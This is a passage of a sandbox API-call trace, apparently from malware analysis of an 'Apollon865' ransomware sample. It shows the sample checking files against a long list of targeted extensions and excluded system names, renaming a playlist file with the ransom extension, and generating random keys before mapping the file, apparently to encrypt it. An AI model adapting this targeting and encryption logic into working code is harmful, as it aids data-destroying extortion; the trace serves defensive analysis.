	[0061.297] lstrlenW (lpString="jtx") returned 3
	[0061.297] lstrcmpiW (lpString1="wpl", lpString2="jtx") returned 1
	[0061.297] lstrlenW (lpString="kdb") returned 3
	[0061.297] lstrcmpiW (lpString1="wpl", lpString2="kdb") returned 1
	[0061.297] lstrlenW (lpString="kexi") returned 4
	[0061.297] lstrcmpiW (lpString1=".wpl", lpString2="kexi") returned -1
	[0061.297] lstrlenW (lpString="kexic") returned 5
	[0061.297] lstrcmpiW (lpString1="s.wpl", lpString2="kexic") returned 1
	[0061.297] lstrlenW (lpString="kexis") returned 5
	[0061.297] lstrcmpiW (lpString1="s.wpl", lpString2="kexis") returned 1
	[0061.297] lstrlenW (lpString="lgc") returned 3
	[0061.297] lstrcmpiW (lpString1="wpl", lpString2="lgc") returned 1
	[0061.297] lstrlenW (lpString="lwx") returned 3
	[0061.297] lstrcmpiW (lpString1="wpl", lpString2="lwx") returned 1
	[0061.297] lstrlenW (lpString="maf") returned 3
	[0061.297] lstrcmpiW (lpString1="wpl", lpString2="maf") returned 1
	[0061.297] lstrlenW (lpString="maq") returned 3
	[0061.297] lstrcmpiW (lpString1="wpl", lpString2="maq") returned 1
	[0061.297] lstrlenW (lpString="mar") returned 3
	[0061.297] lstrcmpiW (lpString1="wpl", lpString2="mar") returned 1
	[0061.297] lstrlenW (lpString="marshal") returned 7
	[0061.297] lstrcmpiW (lpString1="ars.wpl", lpString2="marshal") returned -1
	[0061.297] lstrlenW (lpString="mas") returned 3
	[0061.297] lstrcmpiW (lpString1="wpl", lpString2="mas") returned 1
	[0061.297] lstrlenW (lpString="mav") returned 3
	[0061.297] lstrcmpiW (lpString1="wpl", lpString2="mav") returned 1
	[0061.297] lstrlenW (lpString="maw") returned 3
	[0061.297] lstrcmpiW (lpString1="wpl", lpString2="maw") returned 1
	[0061.297] lstrlenW (lpString="mdbhtml") returned 7
	[0061.297] lstrcmpiW (lpString1="ars.wpl", lpString2="mdbhtml") returned -1
	[0061.298] lstrlenW (lpString="mdn") returned 3
	[0061.298] lstrcmpiW (lpString1="wpl", lpString2="mdn") returned 1
	[0061.298] lstrlenW (lpString="mdt") returned 3
	[0061.298] lstrcmpiW (lpString1="wpl", lpString2="mdt") returned 1
	[0061.298] lstrlenW (lpString="mfd") returned 3
	[0061.298] lstrcmpiW (lpString1="wpl", lpString2="mfd") returned 1
	[0061.298] lstrlenW (lpString="mpd") returned 3
	[0061.298] lstrcmpiW (lpString1="wpl", lpString2="mpd") returned 1
	[0061.298] lstrlenW (lpString="mrg") returned 3
	[0061.298] lstrcmpiW (lpString1="wpl", lpString2="mrg") returned 1
	[0061.298] lstrlenW (lpString="mud") returned 3
	[0061.298] lstrcmpiW (lpString1="wpl", lpString2="mud") returned 1
	[0061.298] lstrlenW (lpString="mwb") returned 3
	[0061.298] lstrcmpiW (lpString1="wpl", lpString2="mwb") returned 1
	[0061.298] lstrlenW (lpString="myd") returned 3
	[0061.298] lstrcmpiW (lpString1="wpl", lpString2="myd") returned 1
	[0061.298] lstrlenW (lpString="ndf") returned 3
	[0061.298] lstrcmpiW (lpString1="wpl", lpString2="ndf") returned 1
	[0061.298] lstrlenW (lpString="nnt") returned 3
	[0061.298] lstrcmpiW (lpString1="wpl", lpString2="nnt") returned 1
	[0061.298] lstrlenW (lpString="nrmlib") returned 6
	[0061.298] lstrcmpiW (lpString1="rs.wpl", lpString2="nrmlib") returned 1
	[0061.298] lstrlenW (lpString="ns2") returned 3
	[0061.298] lstrcmpiW (lpString1="wpl", lpString2="ns2") returned 1
	[0061.298] lstrlenW (lpString="ns3") returned 3
	[0061.298] lstrcmpiW (lpString1="wpl", lpString2="ns3") returned 1
	[0061.298] lstrlenW (lpString="ns4") returned 3
	[0061.298] lstrcmpiW (lpString1="wpl", lpString2="ns4") returned 1
	[0061.298] lstrlenW (lpString="nsf") returned 3
	[0061.298] lstrcmpiW (lpString1="wpl", lpString2="nsf") returned 1
	[0061.298] lstrlenW (lpString="nv") returned 2
	[0061.298] lstrcmpiW (lpString1="pl", lpString2="nv") returned 1
	[0061.298] lstrlenW (lpString="nv2") returned 3
	[0061.299] lstrcmpiW (lpString1="wpl", lpString2="nv2") returned 1
	[0061.299] lstrlenW (lpString="nwdb") returned 4
	[0061.299] lstrcmpiW (lpString1=".wpl", lpString2="nwdb") returned -1
	[0061.299] lstrlenW (lpString="nyf") returned 3
	[0061.299] lstrcmpiW (lpString1="wpl", lpString2="nyf") returned 1
	[0061.299] lstrlenW (lpString="odb") returned 3
	[0061.299] lstrcmpiW (lpString1="wpl", lpString2="odb") returned 1
	[0061.299] lstrlenW (lpString="odb") returned 3
	[0061.299] lstrcmpiW (lpString1="wpl", lpString2="odb") returned 1
	[0061.299] lstrlenW (lpString="oqy") returned 3
	[0061.299] lstrcmpiW (lpString1="wpl", lpString2="oqy") returned 1
	[0061.299] lstrlenW (lpString="ora") returned 3
	[0061.299] lstrcmpiW (lpString1="wpl", lpString2="ora") returned 1
	[0061.299] lstrlenW (lpString="orx") returned 3
	[0061.299] lstrcmpiW (lpString1="wpl", lpString2="orx") returned 1
	[0061.299] lstrlenW (lpString="owc") returned 3
	[0061.299] lstrcmpiW (lpString1="wpl", lpString2="owc") returned 1
	[0061.299] lstrlenW (lpString="p96") returned 3
	[0061.299] lstrcmpiW (lpString1="wpl", lpString2="p96") returned 1
	[0061.299] lstrlenW (lpString="p97") returned 3
	[0061.299] lstrcmpiW (lpString1="wpl", lpString2="p97") returned 1
	[0061.299] lstrlenW (lpString="pan") returned 3
	[0061.299] lstrcmpiW (lpString1="wpl", lpString2="pan") returned 1
	[0061.299] lstrlenW (lpString="pdb") returned 3
	[0061.299] lstrcmpiW (lpString1="wpl", lpString2="pdb") returned 1
	[0061.299] lstrlenW (lpString="pdm") returned 3
	[0061.299] lstrcmpiW (lpString1="wpl", lpString2="pdm") returned 1
	[0061.299] lstrlenW (lpString="pnz") returned 3
	[0061.299] lstrcmpiW (lpString1="wpl", lpString2="pnz") returned 1
	[0061.299] lstrlenW (lpString="qry") returned 3
	[0061.299] lstrcmpiW (lpString1="wpl", lpString2="qry") returned 1
	[0061.299] lstrlenW (lpString="qvd") returned 3
	[0061.299] lstrcmpiW (lpString1="wpl", lpString2="qvd") returned 1
	[0061.300] lstrlenW (lpString="rbf") returned 3
	[0061.300] lstrcmpiW (lpString1="wpl", lpString2="rbf") returned 1
	[0061.300] lstrlenW (lpString="rctd") returned 4
	[0061.300] lstrcmpiW (lpString1=".wpl", lpString2="rctd") returned -1
	[0061.300] lstrlenW (lpString="rod") returned 3
	[0061.300] lstrcmpiW (lpString1="wpl", lpString2="rod") returned 1
	[0061.300] lstrlenW (lpString="rodx") returned 4
	[0061.300] lstrcmpiW (lpString1=".wpl", lpString2="rodx") returned -1
	[0061.300] lstrlenW (lpString="rpd") returned 3
	[0061.300] lstrcmpiW (lpString1="wpl", lpString2="rpd") returned 1
	[0061.300] lstrlenW (lpString="rsd") returned 3
	[0061.300] lstrcmpiW (lpString1="wpl", lpString2="rsd") returned 1
	[0061.300] lstrlenW (lpString="sas7bdat") returned 8
	[0061.300] lstrcmpiW (lpString1="tars.wpl", lpString2="sas7bdat") returned 1
	[0061.300] lstrlenW (lpString="sbf") returned 3
	[0061.300] lstrcmpiW (lpString1="wpl", lpString2="sbf") returned 1
	[0061.300] lstrlenW (lpString="scx") returned 3
	[0061.300] lstrcmpiW (lpString1="wpl", lpString2="scx") returned 1
	[0061.300] lstrlenW (lpString="sdb") returned 3
	[0061.300] lstrcmpiW (lpString1="wpl", lpString2="sdb") returned 1
	[0061.300] lstrlenW (lpString="sdc") returned 3
	[0061.300] lstrcmpiW (lpString1="wpl", lpString2="sdc") returned 1
	[0061.300] lstrlenW (lpString="sdf") returned 3
	[0061.300] lstrcmpiW (lpString1="wpl", lpString2="sdf") returned 1
	[0061.300] lstrlenW (lpString="sis") returned 3
	[0061.300] lstrcmpiW (lpString1="wpl", lpString2="sis") returned 1
	[0061.300] lstrlenW (lpString="spq") returned 3
	[0061.300] lstrcmpiW (lpString1="wpl", lpString2="spq") returned 1
	[0061.300] lstrlenW (lpString="te") returned 2
	[0061.300] lstrcmpiW (lpString1="pl", lpString2="te") returned -1
	[0061.300] lstrlenW (lpString="teacher") returned 7
	[0061.300] lstrcmpiW (lpString1="ars.wpl", lpString2="teacher") returned -1
	[0061.300] lstrlenW (lpString="tmd") returned 3
	[0061.300] lstrcmpiW (lpString1="wpl", lpString2="tmd") returned 1
	[0061.301] lstrlenW (lpString="tps") returned 3
	[0061.301] lstrcmpiW (lpString1="wpl", lpString2="tps") returned 1
	[0061.301] lstrlenW (lpString="trc") returned 3
	[0061.301] lstrcmpiW (lpString1="wpl", lpString2="trc") returned 1
	[0061.301] lstrlenW (lpString="trc") returned 3
	[0061.301] lstrcmpiW (lpString1="wpl", lpString2="trc") returned 1
	[0061.301] lstrlenW (lpString="trm") returned 3
	[0061.301] lstrcmpiW (lpString1="wpl", lpString2="trm") returned 1
	[0061.301] lstrlenW (lpString="udb") returned 3
	[0061.301] lstrcmpiW (lpString1="wpl", lpString2="udb") returned 1
	[0061.301] lstrlenW (lpString="udl") returned 3
	[0061.301] lstrcmpiW (lpString1="wpl", lpString2="udl") returned 1
	[0061.301] lstrlenW (lpString="usr") returned 3
	[0061.301] lstrcmpiW (lpString1="wpl", lpString2="usr") returned 1
	[0061.301] lstrlenW (lpString="v12") returned 3
	[0061.301] lstrcmpiW (lpString1="wpl", lpString2="v12") returned 1
	[0061.301] lstrlenW (lpString="vis") returned 3
	[0061.301] lstrcmpiW (lpString1="wpl", lpString2="vis") returned 1
	[0061.301] lstrlenW (lpString="vpd") returned 3
	[0061.301] lstrcmpiW (lpString1="wpl", lpString2="vpd") returned 1
	[0061.301] lstrlenW (lpString="vvv") returned 3
	[0061.301] lstrcmpiW (lpString1="wpl", lpString2="vvv") returned 1
	[0061.301] lstrlenW (lpString="wdb") returned 3
	[0061.301] lstrcmpiW (lpString1="wpl", lpString2="wdb") returned 1
	[0061.301] lstrlenW (lpString="wmdb") returned 4
	[0061.301] lstrcmpiW (lpString1=".wpl", lpString2="wmdb") returned -1
	[0061.301] lstrlenW (lpString="wrk") returned 3
	[0061.301] lstrcmpiW (lpString1="wpl", lpString2="wrk") returned -1
	[0061.301] lstrlenW (lpString="xdb") returned 3
	[0061.301] lstrcmpiW (lpString1="wpl", lpString2="xdb") returned -1
	[0061.301] lstrlenW (lpString="xld") returned 3
	[0061.301] lstrcmpiW (lpString1="wpl", lpString2="xld") returned -1
	[0061.301] lstrlenW (lpString="xmlff") returned 5
	[0061.301] lstrcmpiW (lpString1="s.wpl", lpString2="xmlff") returned -1
	[0061.302] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\06_Pictures_rated_4_or_5_stars.wpl.Apollon865") returned 129
	[0061.302] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\06_Pictures_rated_4_or_5_stars.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\06_pictures_rated_4_or_5_stars.wpl"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\06_Pictures_rated_4_or_5_stars.wpl.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\06_pictures_rated_4_or_5_stars.wpl.apollon865"), dwFlags=0x1) returned 1
	[0061.327] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\06_Pictures_rated_4_or_5_stars.wpl.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\06_pictures_rated_4_or_5_stars.wpl.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x14c
	[0061.327] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=785) returned 1
	[0061.327] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0061.328] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0061.328] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf788
	[0061.328] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf4e0) returned 1
	[0061.329] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0061.329] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0061.329] CreateFileMappingW (hFile=0x14c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x620, lpName=0x0) returned 0xc0
	[0061.332] MapViewOfFile (hFileMappingObject=0xc0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x620) returned 0x100000
	[0061.340] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf4e0) returned 1
	[0061.347] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0061.347] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0061.347] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0061.348] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0061.348] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0061.348] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0061.348] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0061.348] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0061.348] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2d38
	[0061.348] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0061.348] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2d38 | out: hHeap=0x580000) returned 1
	[0061.348] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0061.348] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0061.348] CloseHandle (hObject=0xc0) returned 1
	[0061.348] CloseHandle (hObject=0x14c) returned 1
	[0061.348] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0061.348] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf788 | out: hHeap=0x580000) returned 1
	[0061.348] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0061.348] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x66402e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x66402e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x410, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="07_TV_recorded_in_the_last_week.wpl", cAlternateFileName="07_TV_~1.WPL")) returned 1
	[0061.349] lstrcmpiW (lpString1="07_TV_recorded_in_the_last_week.wpl", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0061.349] lstrcmpiW (lpString1="07_TV_recorded_in_the_last_week.wpl", lpString2="Apollon865.txt.exe") returned -1
	[0061.349] lstrcmpiW (lpString1="07_TV_recorded_in_the_last_week.wpl", lpString2=".") returned 1
	[0061.349] lstrcmpiW (lpString1="07_TV_recorded_in_the_last_week.wpl", lpString2="..") returned 1
	[0061.349] lstrcmpiW (lpString1="07_TV_recorded_in_the_last_week.wpl", lpString2="windows") returned -1
	[0061.349] lstrcmpiW (lpString1="07_TV_recorded_in_the_last_week.wpl", lpString2="bootmgr") returned -1
	[0061.349] lstrcmpiW (lpString1="07_TV_recorded_in_the_last_week.wpl", lpString2="temp") returned -1
	[0061.349] lstrcmpiW (lpString1="07_TV_recorded_in_the_last_week.wpl", lpString2="pagefile.sys") returned -1
	[0061.349] lstrcmpiW (lpString1="07_TV_recorded_in_the_last_week.wpl", lpString2="boot") returned -1
	[0061.349] lstrcmpiW (lpString1="07_TV_recorded_in_the_last_week.wpl", lpString2="ids.txt") returned -1
	[0061.349] lstrcmpiW (lpString1="07_TV_recorded_in_the_last_week.wpl", lpString2="ntuser.dat") returned -1
	[0061.349] lstrcmpiW (lpString1="07_TV_recorded_in_the_last_week.wpl", lpString2="perflogs") returned -1
	[0061.349] lstrcmpiW (lpString1="07_TV_recorded_in_the_last_week.wpl", lpString2="MSBuild") returned -1
	[0061.349] lstrlenW (lpString="07_TV_recorded_in_the_last_week.wpl") returned 35
	[0061.349] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\06_Pictures_rated_4_or_5_stars.wpl") returned 118
	[0061.349] lstrcpyW (in: lpString1=0x119e6b0, lpString2="07_TV_recorded_in_the_last_week.wpl" | out: lpString1="07_TV_recorded_in_the_last_week.wpl") returned="07_TV_recorded_in_the_last_week.wpl"
	[0061.349] lstrlenW (lpString="07_TV_recorded_in_the_last_week.wpl") returned 35
	[0061.349] lstrlenW (lpString="Apollon865") returned 10
	[0061.349] lstrcmpiW (lpString1="t_week.wpl", lpString2="Apollon865") returned 1
	[0061.349] lstrlenW (lpString=".dll") returned 4
	[0061.349] lstrcmpiW (lpString1="07_TV_recorded_in_the_last_week.wpl", lpString2=".dll") returned 1
	[0061.349] lstrlenW (lpString=".lnk") returned 4
	[0061.349] lstrcmpiW (lpString1="07_TV_recorded_in_the_last_week.wpl", lpString2=".lnk") returned 1
	[0061.349] lstrlenW (lpString=".ini") returned 4
	[0061.349] lstrcmpiW (lpString1="07_TV_recorded_in_the_last_week.wpl", lpString2=".ini") returned 1
	[0061.349] lstrlenW (lpString=".sys") returned 4
	[0061.349] lstrcmpiW (lpString1="07_TV_recorded_in_the_last_week.wpl", lpString2=".sys") returned 1
	[0061.349] lstrlenW (lpString="07_TV_recorded_in_the_last_week.wpl") returned 35
	[0061.349] lstrlenW (lpString="bak") returned 3
	[0061.349] lstrcmpiW (lpString1="wpl", lpString2="bak") returned 1
	[0061.349] lstrlenW (lpString="ba_") returned 3
	[0061.350] lstrcmpiW (lpString1="wpl", lpString2="ba_") returned 1
	[0061.350] lstrlenW (lpString="dbb") returned 3
	[0061.350] lstrcmpiW (lpString1="wpl", lpString2="dbb") returned 1
	[0061.350] lstrlenW (lpString="vmdk") returned 4
	[0061.350] lstrcmpiW (lpString1=".wpl", lpString2="vmdk") returned -1
	[0061.350] lstrlenW (lpString="rar") returned 3
	[0061.350] lstrcmpiW (lpString1="wpl", lpString2="rar") returned 1
	[0061.350] lstrlenW (lpString="zip") returned 3
	[0061.350] lstrcmpiW (lpString1="wpl", lpString2="zip") returned -1
	[0061.350] lstrlenW (lpString="tgz") returned 3
	[0061.350] lstrcmpiW (lpString1="wpl", lpString2="tgz") returned 1
	[0061.350] lstrlenW (lpString="vbox") returned 4
	[0061.350] lstrcmpiW (lpString1=".wpl", lpString2="vbox") returned -1
	[0061.350] lstrlenW (lpString="vdi") returned 3
	[0061.350] lstrcmpiW (lpString1="wpl", lpString2="vdi") returned 1
	[0061.350] lstrlenW (lpString="vhd") returned 3
	[0061.350] lstrcmpiW (lpString1="wpl", lpString2="vhd") returned 1
	[0061.350] lstrlenW (lpString="vhdx") returned 4
	[0061.350] lstrcmpiW (lpString1=".wpl", lpString2="vhdx") returned -1
	[0061.350] lstrlenW (lpString="avhd") returned 4
	[0061.350] lstrcmpiW (lpString1=".wpl", lpString2="avhd") returned -1
	[0061.350] lstrlenW (lpString="db") returned 2
	[0061.350] lstrcmpiW (lpString1="pl", lpString2="db") returned 1
	[0061.350] lstrlenW (lpString="db2") returned 3
	[0061.350] lstrcmpiW (lpString1="wpl", lpString2="db2") returned 1
	[0061.350] lstrlenW (lpString="db3") returned 3
	[0061.350] lstrcmpiW (lpString1="wpl", lpString2="db3") returned 1
	[0061.350] lstrlenW (lpString="dbf") returned 3
	[0061.350] lstrcmpiW (lpString1="wpl", lpString2="dbf") returned 1
	[0061.350] lstrlenW (lpString="mdf") returned 3
	[0061.350] lstrcmpiW (lpString1="wpl", lpString2="mdf") returned 1
	[0061.350] lstrlenW (lpString="mdb") returned 3
	[0061.350] lstrcmpiW (lpString1="wpl", lpString2="mdb") returned 1
	[0061.351] lstrlenW (lpString="sql") returned 3
	[0061.351] lstrcmpiW (lpString1="wpl", lpString2="sql") returned 1
	[0061.351] lstrlenW (lpString="sqlite") returned 6
	[0061.351] lstrcmpiW (lpString1="ek.wpl", lpString2="sqlite") returned -1
	[0061.351] lstrlenW (lpString="sqlite3") returned 7
	[0061.351] lstrcmpiW (lpString1="eek.wpl", lpString2="sqlite3") returned -1
	[0061.351] lstrlenW (lpString="sqlitedb") returned 8
	[0061.351] lstrcmpiW (lpString1="week.wpl", lpString2="sqlitedb") returned 1
	[0061.351] lstrlenW (lpString="xml") returned 3
	[0061.351] lstrcmpiW (lpString1="wpl", lpString2="xml") returned -1
	[0061.351] lstrlenW (lpString="$er") returned 3
	[0061.351] lstrcmpiW (lpString1="wpl", lpString2="$er") returned 1
	[0061.351] lstrlenW (lpString="4dd") returned 3
	[0061.351] lstrcmpiW (lpString1="wpl", lpString2="4dd") returned 1
	[0061.351] lstrlenW (lpString="4dl") returned 3
	[0061.351] lstrcmpiW (lpString1="wpl", lpString2="4dl") returned 1
	[0061.351] lstrlenW (lpString="^^^") returned 3
	[0061.351] lstrcmpiW (lpString1="wpl", lpString2="^^^") returned 1
	[0061.351] lstrlenW (lpString="abs") returned 3
	[0061.351] lstrcmpiW (lpString1="wpl", lpString2="abs") returned 1
	[0061.351] lstrlenW (lpString="abx") returned 3
	[0061.351] lstrcmpiW (lpString1="wpl", lpString2="abx") returned 1
	[0061.351] lstrlenW (lpString="accdb") returned 5
	[0061.351] lstrcmpiW (lpString1="k.wpl", lpString2="accdb") returned 1
	[0061.351] lstrlenW (lpString="accdc") returned 5
	[0061.351] lstrcmpiW (lpString1="k.wpl", lpString2="accdc") returned 1
	[0061.351] lstrlenW (lpString="accde") returned 5
	[0061.351] lstrcmpiW (lpString1="k.wpl", lpString2="accde") returned 1
	[0061.351] lstrlenW (lpString="accdr") returned 5
	[0061.351] lstrcmpiW (lpString1="k.wpl", lpString2="accdr") returned 1
	[0061.351] lstrlenW (lpString="accdt") returned 5
	[0061.351] lstrcmpiW (lpString1="k.wpl", lpString2="accdt") returned 1
	[0061.351] lstrlenW (lpString="accdw") returned 5
	[0061.351] lstrcmpiW (lpString1="k.wpl", lpString2="accdw") returned 1
	[0061.352] lstrlenW (lpString="accft") returned 5
	[0061.352] lstrcmpiW (lpString1="k.wpl", lpString2="accft") returned 1
	[0061.352] lstrlenW (lpString="adb") returned 3
	[0061.352] lstrcmpiW (lpString1="wpl", lpString2="adb") returned 1
	[0061.352] lstrlenW (lpString="adb") returned 3
	[0061.352] lstrcmpiW (lpString1="wpl", lpString2="adb") returned 1
	[0061.352] lstrlenW (lpString="ade") returned 3
	[0061.352] lstrcmpiW (lpString1="wpl", lpString2="ade") returned 1
	[0061.352] lstrlenW (lpString="adf") returned 3
	[0061.352] lstrcmpiW (lpString1="wpl", lpString2="adf") returned 1
	[0061.352] lstrlenW (lpString="adn") returned 3
	[0061.352] lstrcmpiW (lpString1="wpl", lpString2="adn") returned 1
	[0061.352] lstrlenW (lpString="adp") returned 3
	[0061.352] lstrcmpiW (lpString1="wpl", lpString2="adp") returned 1
	[0061.352] lstrlenW (lpString="alf") returned 3
	[0061.352] lstrcmpiW (lpString1="wpl", lpString2="alf") returned 1
	[0061.352] lstrlenW (lpString="ask") returned 3
	[0061.352] lstrcmpiW (lpString1="wpl", lpString2="ask") returned 1
	[0061.352] lstrlenW (lpString="btr") returned 3
	[0061.352] lstrcmpiW (lpString1="wpl", lpString2="btr") returned 1
	[0061.352] lstrlenW (lpString="cat") returned 3
	[0061.352] lstrcmpiW (lpString1="wpl", lpString2="cat") returned 1
	[0061.352] lstrlenW (lpString="cdb") returned 3
	[0061.352] lstrcmpiW (lpString1="wpl", lpString2="cdb") returned 1
	[0061.352] lstrlenW (lpString="ckp") returned 3
	[0061.352] lstrcmpiW (lpString1="wpl", lpString2="ckp") returned 1
	[0061.352] lstrlenW (lpString="cma") returned 3
	[0061.352] lstrcmpiW (lpString1="wpl", lpString2="cma") returned 1
	[0061.352] lstrlenW (lpString="cpd") returned 3
	[0061.352] lstrcmpiW (lpString1="wpl", lpString2="cpd") returned 1
	[0061.352] lstrlenW (lpString="dacpac") returned 6
	[0061.352] lstrcmpiW (lpString1="ek.wpl", lpString2="dacpac") returned 1
	[0061.352] lstrlenW (lpString="dad") returned 3
	[0061.353] lstrcmpiW (lpString1="wpl", lpString2="dad") returned 1
	[0061.353] lstrlenW (lpString="dadiagrams") returned 10
	[0061.353] lstrcmpiW (lpString1="t_week.wpl", lpString2="dadiagrams") returned 1
	[0061.353] lstrlenW (lpString="daschema") returned 8
	[0061.353] lstrcmpiW (lpString1="week.wpl", lpString2="daschema") returned 1
	[0061.353] lstrlenW (lpString="db-journal") returned 10
	[0061.353] lstrcmpiW (lpString1="t_week.wpl", lpString2="db-journal") returned 1
	[0061.353] lstrlenW (lpString="db-shm") returned 6
	[0061.353] lstrcmpiW (lpString1="ek.wpl", lpString2="db-shm") returned 1
	[0061.353] lstrlenW (lpString="db-wal") returned 6
	[0061.353] lstrcmpiW (lpString1="ek.wpl", lpString2="db-wal") returned 1
	[0061.353] lstrlenW (lpString="dbc") returned 3
	[0061.353] lstrcmpiW (lpString1="wpl", lpString2="dbc") returned 1
	[0061.353] lstrlenW (lpString="dbs") returned 3
	[0061.353] lstrcmpiW (lpString1="wpl", lpString2="dbs") returned 1
	[0061.353] lstrlenW (lpString="dbt") returned 3
	[0061.353] lstrcmpiW (lpString1="wpl", lpString2="dbt") returned 1
	[0061.353] lstrlenW (lpString="dbv") returned 3
	[0061.353] lstrcmpiW (lpString1="wpl", lpString2="dbv") returned 1
	[0061.353] lstrlenW (lpString="dbx") returned 3
	[0061.353] lstrcmpiW (lpString1="wpl", lpString2="dbx") returned 1
	[0061.353] lstrlenW (lpString="dcb") returned 3
	[0061.353] lstrcmpiW (lpString1="wpl", lpString2="dcb") returned 1
	[0061.353] lstrlenW (lpString="dct") returned 3
	[0061.353] lstrcmpiW (lpString1="wpl", lpString2="dct") returned 1
	[0061.353] lstrlenW (lpString="dcx") returned 3
	[0061.353] lstrcmpiW (lpString1="wpl", lpString2="dcx") returned 1
	[0061.353] lstrlenW (lpString="ddl") returned 3
	[0061.353] lstrcmpiW (lpString1="wpl", lpString2="ddl") returned 1
	[0061.353] lstrlenW (lpString="dlis") returned 4
	[0061.353] lstrcmpiW (lpString1=".wpl", lpString2="dlis") returned -1
	[0061.353] lstrlenW (lpString="dp1") returned 3
	[0061.353] lstrcmpiW (lpString1="wpl", lpString2="dp1") returned 1
	[0061.354] lstrlenW (lpString="dqy") returned 3
	[0061.354] lstrcmpiW (lpString1="wpl", lpString2="dqy") returned 1
	[0061.354] lstrlenW (lpString="dsk") returned 3
	[0061.354] lstrcmpiW (lpString1="wpl", lpString2="dsk") returned 1
	[0061.354] lstrlenW (lpString="dsn") returned 3
	[0061.354] lstrcmpiW (lpString1="wpl", lpString2="dsn") returned 1
	[0061.354] lstrlenW (lpString="dtsx") returned 4
	[0061.354] lstrcmpiW (lpString1=".wpl", lpString2="dtsx") returned -1
	[0061.354] lstrlenW (lpString="dxl") returned 3
	[0061.354] lstrcmpiW (lpString1="wpl", lpString2="dxl") returned 1
	[0061.354] lstrlenW (lpString="eco") returned 3
	[0061.354] lstrcmpiW (lpString1="wpl", lpString2="eco") returned 1
	[0061.354] lstrlenW (lpString="ecx") returned 3
	[0061.354] lstrcmpiW (lpString1="wpl", lpString2="ecx") returned 1
	[0061.354] lstrlenW (lpString="edb") returned 3
	[0061.354] lstrcmpiW (lpString1="wpl", lpString2="edb") returned 1
	[0061.354] lstrlenW (lpString="epim") returned 4
	[0061.354] lstrcmpiW (lpString1=".wpl", lpString2="epim") returned -1
	[0061.354] lstrlenW (lpString="fcd") returned 3
	[0061.354] lstrcmpiW (lpString1="wpl", lpString2="fcd") returned 1
	[0061.354] lstrlenW (lpString="fdb") returned 3
